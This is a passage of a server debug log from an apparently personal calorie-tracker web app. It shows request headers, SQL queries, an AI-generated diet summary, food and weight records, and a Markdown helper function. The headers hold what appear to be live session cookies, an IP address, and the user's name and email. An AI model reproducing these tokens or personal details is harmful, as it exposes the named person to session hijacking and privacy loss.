    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-18T17:19:41.895Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-18T05:09:25.916Z server-connect:app Executing action step identify
2025-12-18T05:09:25.916Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:25.916Z server-connect:output identity: 1
2025-12-18T05:09:26.450Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-18T05:09:26.451Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-18T05:09:26.452Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T05:09:26.452Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-18T05:09:26.452Z server-connect:app Executing action step identify
2025-12-18T05:09:26.452Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:26.452Z server-connect:output identity: 1
2025-12-18T05:09:26.452Z server-connect:app Executing action step restrict
2025-12-18T05:09:26.452Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:09:26.453Z server-connect:app Executing action step identify
2025-12-18T05:09:26.453Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:26.453Z server-connect:output identity: 1
2025-12-18T05:09:26.453Z server-connect:app Executing action step restrict
2025-12-18T05:09:26.453Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:09:26.453Z server-connect:app Executing action step identify
2025-12-18T05:09:26.453Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:26.453Z server-connect:output identity: 1
2025-12-18T05:09:26.453Z server-connect:app Executing action step restrict
2025-12-18T05:09:26.453Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:26.453Z server-connect:output restrict: undefined
2025-12-18T05:09:26.453Z server-connect:app Executing action step single
2025-12-18T05:09:26.453Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T05:09:26.454Z server-connect:app Executing action step identify
2025-12-18T05:09:26.454Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:26.454Z server-connect:output identity: 1
2025-12-18T05:09:26.454Z server-connect:app Executing action step restrict
2025-12-18T05:09:26.454Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:09:26.455Z server-connect:output restrict: undefined
2025-12-18T05:09:26.455Z server-connect:app Executing action step single
2025-12-18T05:09:26.455Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-18T05:09:26.455Z server-connect:output restrict: undefined
2025-12-18T05:09:26.455Z server-connect:app Executing action step select
2025-12-18T05:09:26.455Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-18T05:09:26.456Z server-connect:output summary: {
  summary: {
    rating: 3,
    summary: "The day's nutrition appears to be quite limited, with only one recorded food item. This single item does not provide a balanced profile of macronutrients and is unlikely to support muscle development or recovery adequately. Consistent training is a positive, but the nutritional intake needs significant improvement to align with your goals.",
    bad_points: [
      'Very limited food intake recorded for the day.',
      'Lack of variety in consumed food.',
      'Protein intake is likely insufficient for muscle development and recovery.',
      'No information on meal timing or hydration.'
    ],
    good_points: [ 'Consistent gym attendance is noted.' ],
    suggestions: [
      'Incorporate more diverse food sources throughout the day.',
      'Prioritize protein-rich foods at each meal.',
      'Ensure adequate hydration by drinking plenty of water.',
      'Consider adding a post-workout meal or snack to aid recovery.'
    ],
    predicted_weight: 70.05,
    predicted_weight_trend: 'Slight downward trend with some fluctuations.'
  },
  date: '2025-12-17T18:30:00.000Z'
}
2025-12-18T05:09:26.456Z server-connect:output restrict: undefined
2025-12-18T05:09:26.456Z server-connect:app Executing action step single
2025-12-18T05:09:26.457Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-18T05:09:26.457Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-18T05:09:26.457Z server-connect:app Executing action step select
2025-12-18T05:09:26.457Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-18T05:09:26.458Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-18T05:09:26.460Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-18T05:09:26.460Z server-connect:output item_list: [
  {
    id: 433,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)',
    replacements: 'Steamed Aloo Matar (without deep frying),Aloo Matar with less oil and more vegetables,Roasted chickpeas or lentils',
    created_at: '2025-12-17T22:44:21.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, 'Googhri' often implies deep-frying or significant oil, increasing calorie and fat content. For muscle development, a less oily preparation or alternative protein sources would be more beneficial."
  },
  {
    id: 434,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea',
    calories: 60,
    protein_gm: 4,
    carbs_gm: 6,
    fat_gm: 2,
    quantity: '0.5 cup (approx 120ml)',
    replacements: 'Black tea (no milk, no sugar),Herbal tea,Green tea',
    created_at: '2025-12-17T22:48:21.000Z',
    skip_level: 2,
    skip_reason: 'While not inherently bad, milk tea still contributes calories and some fat. For muscle development, prioritizing protein and complex carbs is key. You could opt for black tea or green tea for hydration without the added calories from milk, or choose a protein shake instead.'
  },
  {
    id: 435,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Egg whites,Lean chicken breast',
    created_at: '2025-12-17T23:39:25.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, especially post-workout. High in protein, low in carbs and fat.'
  }
]
2025-12-18T05:09:26.460Z server-connect:app Executing action step setvalue
2025-12-18T05:09:26.460Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-18T05:09:26.460Z server-connect:output var_total: 405
2025-12-18T05:09:26.460Z server-connect:app Executing action step setvalue
2025-12-18T05:09:26.460Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-18T05:09:26.461Z server-connect:output var_consumed: 17
2025-12-18T05:09:26.461Z server-connect:app Executing action step setvalue
2025-12-18T05:09:26.461Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-18T05:09:26.461Z server-connect:output var_deficit: 1995
2025-12-18T05:09:26.461Z server-connect:app Executing action step custom
2025-12-18T05:09:26.461Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-18T05:09:26.463Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '405',
    surplus_or_deficit: '1995',
    status_flag: 2
  }
]
2025-12-18T05:09:27.117Z server-connect:app Executing action step identify
2025-12-18T05:09:27.117Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:27.117Z server-connect:output identity: 1
2025-12-18T05:09:35.979Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-18T05:09:35.980Z server-connect:app Executing action step identify
2025-12-18T05:09:35.980Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:35.980Z server-connect:output identity: 1
2025-12-18T05:09:35.980Z server-connect:app Executing action step restrict
2025-12-18T05:09:35.980Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:09:35.980Z server-connect:output restrict: undefined
2025-12-18T05:09:35.980Z server-connect:app Executing action step select
2025-12-18T05:09:35.980Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-18T05:09:35.981Z server-connect:output items_consumed_today: [
  {
    id: 433,
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)'
  },
  {
    id: 434,
    item_name: 'Milk Tea',
    calories: 60,
    protein_gm: 4,
    carbs_gm: 6,
    fat_gm: 2,
    quantity: '0.5 cup (approx 120ml)'
  },
  {
    id: 435,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)'
  }
]
2025-12-18T05:09:35.981Z server-connect:app Executing action step paged
2025-12-18T05:09:35.981Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-18T05:09:35.984Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 13,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-18T05:09:35.984Z server-connect:app Executing action step run
2025-12-18T05:09:35.984Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
